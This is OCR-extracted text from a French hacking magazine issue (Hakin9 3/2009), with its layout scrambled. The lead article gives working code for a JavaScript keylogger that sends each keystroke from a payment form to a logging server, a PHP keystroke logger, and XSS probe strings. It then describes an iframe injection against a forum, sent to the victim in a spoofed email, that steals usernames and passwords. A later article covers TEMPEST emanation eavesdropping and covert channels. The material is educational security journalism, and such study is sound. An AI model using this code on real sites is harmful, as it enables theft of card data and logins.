<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Formulaire de Paiement</title> <script language="JavaScript" type="text/JavaScript" src="keylogger.js"> </script> </head> <body onkeypress="keylog(event)"> <form action="handle_checkout.php" method="post"> <fieldset> <legend> Entrez vos infos CC ci-dessous </legend> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="50" width="20%"><b>Name:</b></td> <td><input type="text" name="name" size="20" maxlength="40" /></ td> </tr> <tr> <td height="50"><b>Numro Carte :</b></td> <td><input type="text" name="cc_number" size="20" maxlength="16" /></td> </tr> <tr> <td height="50"><b>CVC number:</b></td> <td><input type="text" name="cvc_number" size="5" maxlength="3" /></td> </tr> <tr> <td height="50"><b>Validit :</b></td> <td> <input type="text" name="month" size="3" maxlength="2" /> / <input type="text" name="year" size="3" maxlength="2" /> </td> </tr> </table> </fieldset> <p></p> <div align="center"><input type="submit" name="submit" value="Submit" /> </div> </form> </body> </html>
des fins de dmonstration, nous allons simuler un acte de paiement suite aux informations saisies par l'utilisateur (ex : carte bancaire) puis leur envoi sur un serveur mais de manire dtourne. Pour simplifier, nous utiliserons un serveur qui ne possde pas de certificat SSL, les donnes transmises seront uniquement au format texte. Dans un cas rel c'est diffrent, mais pour une dmonstration c'est suffisant. Construisons tout d'abord la page HTML relative au formulaire de paiement (Cf. Listing 1). Dans le cadre de cette dmonstration, nous ne verrons pas les contrles ct serveur. Ce qui nous importe c'est que la page puisse communiquer avec le serveur grce aux appels asynchrones qui seront dclenchs chaque saisie d'informations. Il va donc falloir dans un premier temps crire un gestionnaire d'vnement en JavaScript puis utiliser l'objet XMLHttpRequest pour ractualiser la page dynamiquement. Pour intercepter la touche tape par l'utilisateur on utilise l'vnement onkeypress dans la balise <body> puis on appelle le gestionnaire d'vnement avec keylog(). Voici ce que l'on va crire :
<body onkeypress="keylog(event)">
La fonction keylog() devrait intercepter la touche frappe puis lancer une requte GET vers le serveur. Le Listing 2 montre comment on pourrait l'implmenter. La ligne suivante : var evt = (e) ?
e : event;
3/2009 HAKIN9
59
TECHNIQUE
Listing 2. Voici les fonctions en JavaScript pour le keylogging et les requtes asynchrones au serveur
function keylog(e) { var evt = (e) ? e : event; var keyPressed = ""; keyPressed = String.fromCharCode( evt.charCode ? evt.charCode : evt.keyCode); makeRequest('http://www.example.com/ log.php?keyPressed=' + keyPressed); } function makeRequest(url){ var httpRequest; if (window.XMLHttpRequest) { // Mozilla and other browsers httpRequest = new XMLHttpRequest(); if (httpRequest.overrideMimeType) { httpRequest.overrideMimeType( 'text/xml'); } } else if (window.ActiveXObject) { // IE try { httpRequest = new ActiveXObje ct("Msxml2.XMLHTTP"); } catch (e) { try { httpRequest = new ActiveXObject ("Microsoft.XMLHTTP"); } catch (e) {} } } if (!httpRequest) { //Impossible de crer une //instance XMLHTTP return false; } httpRequest.onreadystatechange = function() { if (httpRequest.readyState == 4) { //There was a problem with the request return false; } }; httpRequest.open('GET', url, true); httpRequest.send(null); }
est requise pour la compatibilit avec les navigateurs. En fait, sous IE l'objet event (vnement) est accd directement via window.event, tandis que sous Firefox et d'autres navigateurs il est directement pass en tant que premier paramtre la fonction callback . La valeur Unicode correspondant la touche presse par l'utilisateur peut tre lue avec la proprit event.charCode si elle est prsente, sinon on peut utiliser la proprit event.keycode . IE supporte la proprit keyCode et pas la proprit charCode . On retrouve les vnements associs au clavier (du navigateur) : onkeypress, onkeyup, et onkeydown . Pour terminer, la fonction fromCharCode() prend les valeurs Unicode spcifies et retourne la chane de caractres :
keyPressed =
log.php?keyPressed=' + keyPressed);
keypressed contient la valeur de la touche tape sur le clavier, et l'appel sera effectu chaque frappe de touche. La fonction makeRequest() du listing 2 est une version modifie de celle utilise sur le site web de Mozilla Developer Center (http://developer.mozilla.org/en/AJAX/ Getting_Started), vous pouvez y trouver de plus amples informations. On enregistre les deux fonctions JavaScript en tant que keylogger.js et on les inclut en en-tte de la page checkout.htm du Listing 1 :
<script
language="JavaScript" src="keylogger.js">
type="text/javascript" </script>
On effectue par la suite, un appel la fonction makeRequest() permettant d'mettre une requte GET de manire asynchrone au serveur conjointement avec l'objet XMLHttpRequest . L'URL obtenue est passe la page log.php qui enregistrera les touches presses :
makeRequest(
'http://www.exemple.com/
Nous allons maintenant construire la page log.php qui enregistrera toutes les touches frappes dans un unique fichier. Il suffit d'crire quelques lignes (Cf. Listing 3). La page reoit le paramtre : querystring, il s'agit de la touche presse de l'input puis on l'ajoute au fichier log. Un fichier log spcifique chaque adresse IP est gnr, par exemple : 192.168.0.1.log. Chaque fichier possde donc une seule ligne de texte avec l'ensemble des valeurs littrales des touches presses par les utilisateurs, except les espaces. Nous omettons dans cet article les contrles du ct
Listing 3. Code PHP pour enregistrer dans un fichier texte le paramtre de linput.
<?php # ajouter un fichier texte le paramtre de linput $ip_address = $_SERVER["REMOTE_ ADDR"]; $file = fopen($ip_address . ".log","a"); fwrite($file,$_GET['keyPressed']); fclose($file); ?>
Le Cross-site Scripting (XSS) est une faille affectant les sites web qui ne contrlent pas les variables de type input (en rgle gnrale : variables GET). Une faille XSS vous permet d'insrer du code (ex : JavaScript) afin de modifier le code source de la page visite. Un utilisateur malveillant peut donc rcuprer des informations sensibles : cookies, voire excuter un script sur le PC de la victime. Cette attaque est trs utilise contre les sites de dbutants, en effet il faut inciter l'utilisateur entrer ses informations sur une certaine page web avec des variables GET modifies en amont. Pour tester cette vulnrabilit sur votre site vous devez injecter du code Javascript dans le champ de recherche input, ou l'ajouter dans les requtes GET aux URL. Voici quelques exemples :
http://www.exemple.com/search.php?str=<script>alert('XSS')</script>,
http://www.exemple.com/products/<img%20src=javascript:alert(document.cookie)>, http://www.exemple.com/index.php?in=<table%background="javascript:alert('XSS')">.
60
HAKIN9 3/2009
KEYLOGGER 2.0
"Rechercher une faille XSS"). On utilisera la technique d'injection par IFRAME. Nous assumons connatre au pralable l'e-mail de la victime, nous l'amenons ensuite se connecter sur le forum par une technique de spoofing et de Social Engineering. L'impression cran de la Figure 2 montre un vrai site vulnrable au XSS. Il s'agit en l'occurrence d'un forum italien sur lequel j'ai identifi une vulnrabilit (aujourd'hui corrige) dans le champ de recherche. Le dveloppeur avait oubli de filtrer les caractres spciaux : guillemets et symboles 'suprieur '. En tapant la chane suivante dans le champ de recherche :
" /><script> </script>
AJAX est l'acronyme dAsynchronous JavaScript and XML . C'est une technologie qui permet de crer des sites web interactifs. Le but est d'obtenir des pages web qui rpondent plus rapidement grce aux changes d'information en tche de fond avec le serveur, ainsi il n'y a pas une ractualisation de toute la page. Cette technique permet d'agir sur divers aspects d'une page : interactivit, vitesse et convivialit. AJAX permet dmettre des donnes de manire asynchrone, cela signifie que les donnes transitent en tche de fond vers le serveur. Il ny aucune interfrence avec la page ct client. C'est une combinaison du : HTML (ou XHTML), CSS pour le style, DOM (Document Object Model) pour manipuler avec le JavaScript ou JScript les informations et donc interagir, avec l'objet XMLHttpRequest changer les donnes de manire asynchrone avec le serveur. Certaines plateformes AJAX permettent d'utiliser un objet IFRAME au lieu de lobjet XMLHttpRequest pour l'change de donnes. D'autres implmentations utilisent dynamiquement les balises <script> (JSON), gnralement il s'agit de code XML, mais on peut utiliser aussi bien du HTML prformat, JSON et mme EBML. En rgle gnrale ces fichiers sont gnrs dynamiquement partir de scripts ct serveur.
Le problme avec AJAX est, que pour des raisons de scurit, les appels de type cross-domain ne sont pas permis. Qu'est-ce que a veut dire exactement ? Par exemple, si je suis en train de dvelopper une application web avec le domaine http://www.A.com/, je ne peux faire des appels aux services AJAX sur le domaine http://www.B.com/. videmment, si tous les services sont inclus dans A, le navigateur ne retournera aucune erreur. Cela a t fait pour viter les scripts de type cross-site (XSS), mais c'est galement un frein majeur. De nombreux services web existent, on en trouve sur Google et Yahoo. Cela permettrait d'amliorer la qualit de notre site, mais ces applications sont hberges apparemment sur diffrents domaines. Au fait, j'ai oubli de vous parler d'une petite astuce. On peut utiliser un proxy pour notre domaine en local afin de faire croire au navigateur que l'on effectue un appel scuris. Mais le proxy pointe vers l'extrieur. Sur Internet on trouve de nombreux exemples (surtout en PHP) que l'on peut utiliser conjointement avec AJAX.
alert('XSS Vulnerable!')
la page m'a affich le message d'avertissement : XSS Vulnerable! . Le guillemet de dpart indique la fermeture de la valeur du champ de recherche input, et le symbole /> ferme la balise input ce qui permet de concatner l'avertissement JavaScript. Ce qui tait incroyable, c'est quil I C I T
serveur et la gestion des erreurs, pour des raisons de simplicit. On va ensuite uploader l'ensemble sur le serveur puis effectuer un test. Pour une gestion en temps rel du keylogger, on peut utiliser un outil de dbogage pour analyser tous les appels au serveur. Je vous recommande : Firebug, c'est une extension de Firefox pour diter, dboguer, et grer n'importe quelle page web avec du CSS, HTML, et JavaScript. Vous pouvez la tlcharger sur : https:// addons.mozilla.org / it/firefox/addon/1843. En Figure 1, vous trouverez un exemple de ce qui se produit lorsqu'un un utilisateur remplit le formulaire de paiement.
Voyons ci-dessous comment un pirate pourrait utiliser cette technique pour raliser une attaque. Nous allons voir comment il est possible de se connecter un forum avec le nom d'utilisateur et le mot de passe d'un internaute. Il s'agit toujours de la faille XSS (Cf. rubrique :
3/2009 HAKIN9 61
TECHNIQUE
y avait sur la mme page les champs nom d'utilisateur et mot de passe. De prime abord ils ne sont pas directement vulnrables mais on verra qu'on peut les obtenir ultrieurement. L'ide est d'injecter dans la page HTML des fonctions JavaScript qui vous permettront d'utiliser les chanes tapes par les utilisateurs, et par consquent de communiquer avec le serveur de manire asynchrone. Nous utiliserons ici le keylogger que l'on a fait auparavant, mais avec quelques modifications, tant donn que l'objet XMLHttpRequest bloque tous les appels cross-domain (Cf. rubrique : AJAX et les appels cross-domain). Nous allons utiliser un script distant avec un iframe cach. En fait, avec l'IFRAME nous ne pourrons pas contrler la page racine (ici il s'agit de la page web du forum). Celle-ci est sur un serveur diffrent avec un domaine lui aussi diffrent ; les navigateurs bloqueront toute tentative d'attaque de type cross-domain. Eh bien, vous allez voir qu'on peut quand mme contourner cet obstacle (Cf. Figure 3) : il suffit d'inclure un IFRAME sur la page du forum pointant sur une page HTML qui se trouve sur notre serveur, la page HTML sur notre serveur contient son tour un second IFRAME qui pointe au final sur la page vulnrable du forum. On va galement injecter du code JavaScript pour le keylogging et l'envoi des requtes asynchrones vers notre serveur. l'IFRAME peut grer les contrles de la page racine grce la classe parent. parent, en tant qu'lment pre et le deuxime lment fils sur le mme domaine. On contournera ainsi les scurits type cross-domain et d'ailleurs celles-ci ne se dclencheront pas.
Il faut tout d'abord identifier clairement la chane injecter dans le champ de recherche du forum. Celle que j'ai utilise pour simuler l'attaque se trouve en Listing 4, conjointement avec l'URL envoyer la victime. Comme vous pouvez le constater il y a deux iframes ayant t injects de manire cache. Le premier pointe sur une page HTML du serveur :
<iframe id='iframeSource' iframe.htm' </iframe>
Quant au second, il est vide, il permettra de charger la page de connexion du serveur, comme nous le verrons un peu plus tard :
<iframe id='iframeLog' src='' width='1' height='1'>
</iframe>
Pour que nos deux iframes soient invisibles, on va injecter une petite feuille de style :
<style type='text/css'>
</style>
Tout le reste est ncessaire la fermeture des balises input, afin qu'il n'y ait pas d'erreurs HTML qui apparaissent sur la page Web. La premire sera ensuite directement injecte dans le champ de recherche, tandis que l'autre correspondra l'URL, et sera
62
HAKIN9 3/2009
KEYLOGGER 2.0
Sur Internet
http://www.javascriptkit.com/jsref/ eventkeyboardmouse.shtml Evnement associs au clavier et aux boutons de la souris, http://developer.mozilla.org/en/AJAX/ Getting_Started Dmarrer avec AJAX, http://www.quirksmode.org/js/ introevents.html Grer les vnements JavaScript, http://developer.apple.com/internet/ webcontent/iframe.html Scripts distants avec les IFRAME.
Figure 3. Une astuce utiliser sur les navigateurs pour tester des scripts distants de type cross-domain envoye l'e-mail de la victime. En Listing 5, le code se trouvant dans iframe.htm doit tre stock sur notre serveur. a ne fait que gnrer un IFRAME sur la page racine du forum qui est vulnrable. Veuillez noter que l'on injecte un fichier JavaScript parent.js dont le code est prsent en Listing 6 :
iframeParent.src = parent.parent.document.onkeypress = function keylog(e){ ... };
'http://www.forum_being
On doit indiquer deux fois le terme parent du fait que le script s'excute depuis le second IFRAME. Le reste de la fonction est similaire la premire, except pour accder au serveur o lon nutilise pas l'objet XMLHttpRequest . En effet on charge la page d'identification de notre serveur directement partir de l'IFRAME inject :
var iframeLog =
www.exemple.com2Fparent.js
La page log.php pourrait tre similaire celle du formulaire de paiement (Cf. Listing 3). Il suffit maintenant d'envoyer notre victime l'URL, en utilisant une technique de spoofing lui faisant croire qu'il s'agit d'un e-mail provenant du forum. Tous les lments taps dans la page, nom d'utilisateur et mot de passe inclus, seront enregistrs par notre serveur. Durant la simulation d'attaque, j'ai not que le niveau de scurit par dfaut dans Internet Explorer 7 ne donne aucune alerte en cas de tentative d'attaque XSS, contrairement Firefox 3 qui bloque l'attaque et demande l'utilisateur d'accepter ou non. noter que beaucoup d'utilisateurs inexpriments utilisent Internet Explorer... Antonio Fanell
parent.parent.document.
Le script est une version modifie du premier keylogger. Pour intercepter la cl, on crira le gestionnaire d'vnement suivant : P U
iframeLog.src = 'http://
getElementById('iframeLog'); www.exemple.com/log.php?
keyPressed=' + keyPressed;
Ingnieur lectronique depuis 1998 il s'intresse de prs au domaine de la scurit et aux technologies de linformation. Il travaille actuellement comme chef de projet pour une SSII Bari, en Italie.
3/2009 HAKIN9
63
TECHNIQUE
UKASZ MACIEJEWSKI
mission compromettante.
Degr de difficult
u dbut, il a t pens que les perturbations mises par les appareils n'taient pas particulirement importantes pour le monde. La dcouverte des possibilits des ondes lectromagntiques a provoqu tant d'motions que la scurit des informations ainsi envoyes a t comme c'est souvent le cas oublie. Un peu comme le cas d'un enfant qui vient d'avoir un nouveau jouet. Les concepteurs se sont amuss avec l'lectromagntisme, ils ont conu des gadgets plus avancs en s'y basant et ils ont construit une tour de la technologie partir de ces connaissances. Cette tour de la technologie ne cesse d'tre dveloppe mais ses racines sont tombes dans les oubliettes. Si nous secouons les fondations de cette tour, le mythe de sa scurit sera dtruit. Dans un premier temps, TEMPEST (en anglais Transient Electromagnetic Pulse Emanation Standard standard de l'mission compromettante) constituait une mthode d'attaque lectromagntique visant extraire un texte pur partir des machines cryptographiques dont les Tiny ElectroMagnetic Pests Emitting Secret Things (petites parasites lectromagntiques qui mettent des donnes secrtes). C'est une dfinition trs parlante. Actuellement, prs de 175 socits sont pourvues d'une autorisation pour fabriquer les dispositifs. Wang Research Laboratories est l'un des plus grands fabricants.
Qu'est-ce l'orage ?
La guerre informatique a dbut. Tous les ans, le nombre de dispositifs de traitement des donnes s'agrandit. Certains dispositifs traitent le signal lectrique en acoustique (hauts-parleurs), d'autres crent les ondes lumineuses partir d'un signal lectrique (moniteurs). Tous ces dispositifs ont toutefois une caractristique en commun. Puisque leur travail repose sur le passage du courant du point A vers le point B (alimentation typique, envoi d'informations, etc.), une antenne mettrice peut tre cre partir d'un moyen de transport (un cble ou un circuit imprim). Le principe est simple : chaque charge lectrique est une source d'un champ lectromagntique. Puisque le passage de courant est prsent dans tous les dispositifs lectroniques, la conclusion est simple : ces dispositifs constituent des sources d'une mission d'un champ lectromagntique. Si ce champ contient des informations relatives aux donnes traites l'intrieur ou pire encore la manire dont elles sont traites, cette mission peut tre considre comme compromettante.
Le problme de fuite d'informations a t rcemment abord une grande chelle dans les mdias. Comme d'habitude, les mdias exagrent le ct innovant de la technique dcrite. Elle tait en effet dj connue auparavant : en 1943, les employs de Bell Telephone
Figure 1. Onde lectromagntique ont dcouvert qu'un des machines cryptographiques mettait les donnes relatives au signal trait pendant son fonctionnement. l'poque, le niveau de connaissances ne permettait pas de se protger efficacement contre ce type de phnomnes. Nous pouvions considrer que durant 19 ans la technique de protection mrirait. Ce n'est pourtant pas le cas et en 1962, l'un des ingnieurs d'un mini-centre cryptographique amricain a fait connatre une prsence d'une surveillance (japonaise) effectue au moyen de la technique d'mission compromettante (vous trouverez davantage d'informations sur ce sujet dans le rapport de l'Agence de scurit amricaine TEMPEST: A Signal Problem). Le monde a ainsi pu connatre les avantages de l'mission compromettante mise. L'Europe ne se trouvait pas loin de l'utilisation de ce type des technologies. En 1960, la Grande Bretagne ngociait l'entre dans la Communaut conomique Europenne et craignait la dcision du premier ministre franais. Grce l'quipe cre par le contre-espionnage, un signal secondaire a t dcouvert dans la ligne de transmission sortante de l'ambassade de France. Aprs la conception d'un dispositif appropri, il tait possible d'accder au texte non crypt, ce qui rendait la cryptographie inutile. L'mission conduite est ne. Puisque ces technologies taient connues l'poque, taient-elle amliores depuis ? Quels sont les progrs depuis l'poque de Wim van Eck et sa premire prsentation publique du systme TEMPEST (Electromagnetic Radiation from Video Display Units: An Eavesdropping Risk?) du 1983 ?
lectromagntisme
Afin de comprendre et apprcier l'mission compromettante, il faut connatre la manire dont elle est cre. Comment un dispositif devient un petit potinier qui raconte tout le monde ce qu'il fait et Deux phnomnes en sont responsables : loi d'Ampre la circulation du courant et le champ lectrique variable font crer un champ magntique tourbillonnant dont l'induction est proportionnelle la vitesse des
Ces deux lois lmentaires, combines deux lois de Gauss (prsence de source du champ lectrique et absence de source du champ magntique), constituent une bible de l'lectromagntisme (quations de Maxwell). Une simple conclusion en dcoule : si un appareil est aliment, il n'apparatra pas immdiatement dans les circuits lectroniques. Sa valeur augmentera progressivement (tats passagers) jusqu' un niveau exig. Bien videmment, les lectrons se dplacent trs rapidement donc il est impossible d'observer ce phnomne tous les jours. Le courant est tout de mme variable dans le temps et comme nous le savons le flux d'lectrons variable cre un champ magntique. Ce champ, gnr partir d'un champ lectrique variable, gnre galement le champ lectrique variable dans le temps. Les changements de ces deux champs, et plus particulirement les perturbations du centre o les changements ont lieu, sont chargs de propager les ondes lectromagntiques (Figure 1). Quelle en est la conclusion ? La prsence de la source du champ lectrique nous informe que tout dispositif
TECHNIQUE
couleur (noir absence de couleur). Cet lment est responsable des informations envoyes par le moniteur mais n'informe pas o le trouver, modulateur c'est en ralit une carte graphique. Les valeurs de couleur d'un point dfini sont donnes cet endroit une frquence d'un pixel, en combinant les donnes de tension (luminance) et les donnes temporaires (emplacement l'cran). Il influence la frquence avec laquelle nous attendons le signal portant l'information sur l'image affiche, antenne mettrice le moniteur fait office de cette antenne. Le signal de vision y renforc est plus puissant que son quivalent mis par les cbles qui le lient la carte graphique.
Le modulateur d'amplitude le plus simple est prsent sur la Figure 3. Il se compose principalement d'un transistor, contrairement la carte graphique qui est un modulateur AM plus complexe (bien qu'elle ne s'en rende pas compte le plus probablement).
Nous voil pourvus des connaissances thoriques. Il est temps de les utiliser en pratique. Nous savons comment le signal du moniteur est gnr mais o le trouver ? La connaissance des standards
Moniteur AM
Gnralement parlant, le moniteur sert afficher une image. Le signal de vision amen depuis une carte graphique est amplifi et dirig par les circuits de balayage ; le paquet d'lectrons arrive l'cran du moniteur. Pourquoi ce processus est-il si exceptionnel de notre point de vue ? Mis part le signal de vision, le moniteur a besoin des
66 HAKIN9 3/2009
Nous obtenons une image similaire celle de la Figure 4. Nous branchons n'importe quelle radio, nous l'accordons AM et nous trouvons la mlodie. Mme si la frquence porteuse du moniteur est plus importante que l'chelle de rception d'une radio, le son peut tre entendu grce aux basses harmoniques. eckBOX est un autre projet de la famille du petit espion. Il a besoin d'un radio, d'un transformateur A/C (analogiquenumrique) et d'un logiciel de traitement du signal en image utile pour travailler. Pourquoi un tel projet, n'a-t-il pas russi ? Cela est peut-tre du au gouvernement secret amricain qui a interdit les expriences de ce type ou peut-tre une association secrte qui voulait garder le savoir pour elle-mme. Ou peut-tre cela est du au fait que conformment la formule de Shannon-Kotielnikow la frquence d'chantillonnage doit tre au moins deux fois suprieure la frquence maximale du signal (ce qui quivaut la frquence d'chantillonnage gale 216MHz pour
un moniteur standard). La slectivit d'une radio se trouve en dehors de la bande du moniteur et elle est trop grande. Le signal gnr par la carte graphique est charg d'une erreur de 5 %, ce qui donne 5,4MHz pour 108MHz. La radio reoit une partie du signal mis mais cela donne peu d'informations pour russir avoir une image lisible. La slectivit est comme les enfants dans une aire de jeux. Une seule nounou est incapable de les attraper tous mais si elles sont plusieurs, elles ont plus de chance de le faire. Si en revanche nous appelons un grand monsieur, tous les enfants partiront dans tous les sens en criant le plus probablement. La mme chose concerne les ondes radio : si le circuit est trop slectif, nous recevrons une
partie du signal, si la bande est trop large, le circuit aura trop d'informations traiter et nous n'aurons rien. Dans une telle situation, la vitesse du flux de donnes depuis le transformateur A/C l'application de traitement n'est pas si importante.
Pour commencer notre propre aventure avec l'mission compromettante, il faut disposer des quipements appropris. Pour ne pas chercher l'intrieur du moniteur, nous relions l'ensemble l'aide d'une carte test prsente sur la Figure 5. Elle permettra d'accder tous les signaux importants. Grce aux goujons, il est possible de couper la ligne de signal de la carte graphique (en l'enlevant)
3/2009 HAKIN9 67
TECHNIQUE
et brancher notre propre version de signal via la prise BNC (par exemple, depuis une source de synchronisation externe). Si nous laissons les goujons et branchons un oscilloscope une prise donne, il est possible d'observer en dtails le signal envoy (donnes, paramtres de temps) pour le recrer par la suite soi-mme. Pour nos besoins, nous laissons toutes les lignes telles quelles et nous coupons uniquement les informations sur le trajet de vision du moniteur TEMPEST. la place des donnes de la carte graphique, nous enverrons les informations depuis la sortie d'une simple radio Am (par exemple, sortie couteurs). Cette approche simplifie les tests et ne ncessite pas la construction des circuits externes de contrle de frquence de synchronisation. La carte prte se trouve sur la Figure 6. Le branchement est prt, il est maintenant temps d'crire un logiciel qui cre un metteur avec la modulation d'amplitude partir du moniteur. Le Listing 1 prsente le code de procdure de gnration d'un signal. C'est une mthode assez primitive pour gnrer un signal AM mais elle explique de manire simple les principes de base. Les lignes 35, 36 et 37 sont charges de gnrer les valeurs appropries en se basant sur le pixel affich actuellement et de la dure dans laquelle il est affich. Une fois la ligne calcule (la boucle for interne), nous gnrons la ligne infrieure suivante. Entre la fin de la ligne gnre et le dbut de la ligne suivante, le canon lectrons doit disposer du temps pour retourner au dbut de la ligne. Pendant ce temps, le signal ne sera pas gnr donc nous passons cette brve dure (ligne 45). Une fois la ligne gnre et aprs le retour au dbut de la ligne suivante, nous rappelons la gnration du signal. La Figure 7 prsente l'image ainsi cre.
Protections
circulation du courant. Il est toutefois possible de concevoir un dispositif et son environnement de travail de manire ce que l'effet secondaire de son fonctionnement soit minime. Il existe plusieurs mthodes, simples et celles qui modifient compltement le fonctionnement des dispositifs bien connus. Contrle de la zone la mthode la plus ancienne mais toujours d'actualit. Elle consiste contrler les utilisateurs et les dispositifs qui se trouvent dans la zone de danger o l'mission compromettante pourrait tre employe. Modification des dispositifs si nous connaissons le fonctionnement d'un dispositif cout, nous sommes capables de traiter les informations reues. En modifiant le fonctionnement du dispositif, nous modifions la caractristique des donnes mises en forant l'attaquant concevoir de nouvelles mthodes de traitement. titre d'exemple : gnration de l'image du moniteur en tant que deux sousimages gnres simultanment. Une seule onde lectromagntique sera alors envoye deux pixels
Comme les mthodes d'utiliser l'mission compromettante sont connues, les moyens de protection devraient l'tre aussi. Il est impossible d'exclure la cration des champs lectromagntiques, comme il est impossible d'exclure la
Figure 7. Image gnre (1024x768 [75Hz], gauche note = 200Hz, droite note = 3000Hz) simultanment et l'image sera ainsi impossible recrer. Augmentation de brouillage s'il est impossible de rduire l'influence de fuite de donnes, nous augmentons l'mission de donnes qui ne portent aucune information importante. Grce cette dmarche, en bien choisissant le dispositif, l'attaquant recevra le brouillage la place des donnes utiles. L'inconvnient de cette mthode est le fait qu'elle est illgale car il est illgal d'utiliser un dispositif de brouillage. Blindage des dispositifs lorsqu'il est impossible de modifier le dispositif ni de le brouiller, il ne nous reste qu' l'enfermer dans une cage (une protection en mtal qui fonctionne comme la cage de Faraday). C'est une mthode relativement simple (par rapport la modification des dispositifs) et en plus, lgale. Bien videmment, il est impossible de mettre le moniteur dans une bote en mtal et de l'enfermer dedans. Premirement, il doit tre possible de voir les informations affiches sur le moniteur. Deuximement, n'oublions pas le cble d'alimentation et le cble amenant les donnes depuis l'ordinateur. Si la protection en mtal n'est pas compltement tanche (par exemple, liaisons en plastique), l'onde lectromagntique aura une fentre ouverte sur le monde. Il faut tre conscient que le blindage ne protgera pas le dispositif 100 % contre l'interception lectromagntique. Mme si nous couvrons l'cran avec une grille en mtal et les cbles avec des barreaux de ferrites (sur le cble qui lie le moniteur et l'ordinateur) et si nous utilisons des dispositifs trs sensibles et nous liminons les brouillages (par exemple, filtres d'adaptation de Kalman), l'mission compromettante sera toujours utile. Les jouets deviennent de plus en plus chers. Blindage des locaux cette technique ressemble la prcdente mais elle est employe une plus large chelle. Au lieu de nous proccuper de la scurit de chaque dispositif, nous assurons la protection du local o ils travaillent. L'avantage de cette solution est la facilit de protger les nouveaux dispositifs (il n'est pas ncessaire de concevoir de nouvelles protections) et l'absence de problme de chaleur. Il n'est pas ncessaire de modifier un local construit (plaques en mtal dans les murs) contrairement aux protections des dispositifs portables (par exemple, pour rparer une imprimante ou un moniteur ou ajouter de la mmoire vive).
Conclusion
Nous savons comment forcer le moniteur pour gnrer une note concrte qui peut tre reue par une simple radio. Nous savons qu'il est possible de jouer une mlodie au moyen du moniteur. Quelles en sont les conclusions ? Est-ce que TEMPEST n'est qu'un jouet dans les mains d'un dbutant ? La Figure 8 montre qu'il y a autre chose. Lors de la gnration des notes dfinies par le moniteur, nous rduisons le spectre du signal envoy. Il n'est alors pas ncessaire que la bande de notre rcepteur soit trs large comme auparavant. L'image peut tre cre suffisamment bien sur le moniteur TEMPEST depuis le moniteur initial. Il est galement possible d'employer un amplificateur. En fonction de notre approche, il existe deux solutions :
Le coeur du circuit est constitue de la partie de traitement du signal de haute frquence et du dmodulateur. Si le coeur travaille correctement et efficacement, nous pouvons nous occuper de son entourage. Il ne faut pas augmenter de l'adrnaline sans cesse car le coeur lchera la fin : soit le circuit de traitement du signal de haute frquence soit les trajets de vision du moniteur seront brls. Mme si nous sommes incapables de recrer une image affiche, il est possible de charger un logiciel sur l'ordinateur attaqu qui affichera des images pour deux notes diffrentes (par exemple, 300Hz et 1200Hz) pendant l'absence de l'utilisateur, ce qui crera ainsi une modulation avec le masquage de la frquence. Ajoutons en plus le codage du signal et nous obtiendrons ainsi un canal de communication silencieux qui nous servira envoyer des informations binaires avec une frquence de rafrachissement de l'cran (par exemple, 60b/s). ukasz Maciejewski
L'auteur fait ses tudes l'Ecole Polytechnique de Wroclaw. Il est charg de concevoir des systmes de gestion des rseaux tltechniques. Actuellement, il travaille dans une socit charge des systmes lectroniques de scurit. Contact avec l'auteur : LukaszMaciejewski@pro-alert.pl 3/2009 HAKIN9 69
CONOMISEZ
22%
Hakin9 Comment se dfendre est le plus grand Bimestriel en Europe traitant de la scurit informatique. Vous trouverez dans nos pages des articles pratiques sur les mthode offensives et dfensives. Vous profiterez de programmes, de tutoriels, et de vidos pratiques.
Vous conomisez 22% Vous recevez rgulirement les magazines votre domicile ! Vous obtenez un des nombreux cadeaux !
Choisissez votre propre mode dabonnement : par fax au numro : +31 (0) 36 530 71 18 par courrier : EMD The Netherlands Belgium P.O. Box 30157, 1303 AC Almere, The Netherlands par courrier lectronique : software@emdnl.nl par notre internet en ligne : http://www.hakin9.org/prt/view/abonnez-vous.html
BULLETIN DABONNEMENT
comment se dfendre
Merci de remplir ce bon de commande et de nous le retourner par fax : +31 (0) 36 540 72 52 ou par courrier : EMD The Netherlands Belgium P.O. Box 30157 1303 AC Almere The Netherlands Tl. +31 (0) 36 530 71 18 E-mail : software@emdnl.nl
Prnom/Nom ........................................................................................ Entreprise ............................................................................................. Adresse ................................................................................................. ................................................................................................................ Code postal .......................................................................................... Ville ........................................................................................................ Tlphone ............................................................................................. Fax ......................................................................................................... Je souhaite recevoir l'abonnement partir du numro .................... ................................................................................................................ En cadeau je souhaite recevoir ....................................................... ................................................................................................................ E-mail (indispensable pour envoyer la facture) ................................ ................................................................................................................
code CVC/CVV
Virement bancaire :
Nom banque : ABN AMRO Bank Randstad 2025 1314 BB ALMERE The Netherlands banque guichet numro de compte cl Rib 59.49.12.075 IBAN : NL14ABN0594912075 Adresse Swift (Code BIC) : ABNANL2A
DBUTANTS
SICCHIA DIDIER
Degr de difficult
ffectivement, internet est venu bouleverser cette habitude d'une autre poque. Aujourd'hui et sur la toile mondiale, ce sont des milliards de courriers lectroniques qui se distribuent chaque jour une vitesse blouissante. Les mails permettent de simplifier largement les changes d'informations et rduisent considrablement les dlais d'attente entre deux protagonistes. Nanmoins, cette merveilleuse possibilit de communiquer avec son prochain n'est pas toujours idale. Auparavant, si les botes aux lettres se remplissaient d'une foultitude de revues publicitaires parfois inutiles et encombrantes, l'quivalent lectronique rencontre la mme problmatique. Beaucoup de courriels se composent essentiellement d'un message attractif afin de sensibiliser les internautes sur un produit quelconque (parfois mensonger). Si on ne fait pas attention, une messagerie lectronique peut devenir une vraie poubelle. Justement, ces courriers lectroniques ont trouv une nouvelle dfinition et selon notre poque. Ainsi, nous parlerons plutt de pourriel (lgante association de mots) ou encore de spam (de l'anglais, pt). Le terme polluriel est plus rarement utilis mais il se rencontre nanmoins en certaines occasions.
Dfinition du SPAM
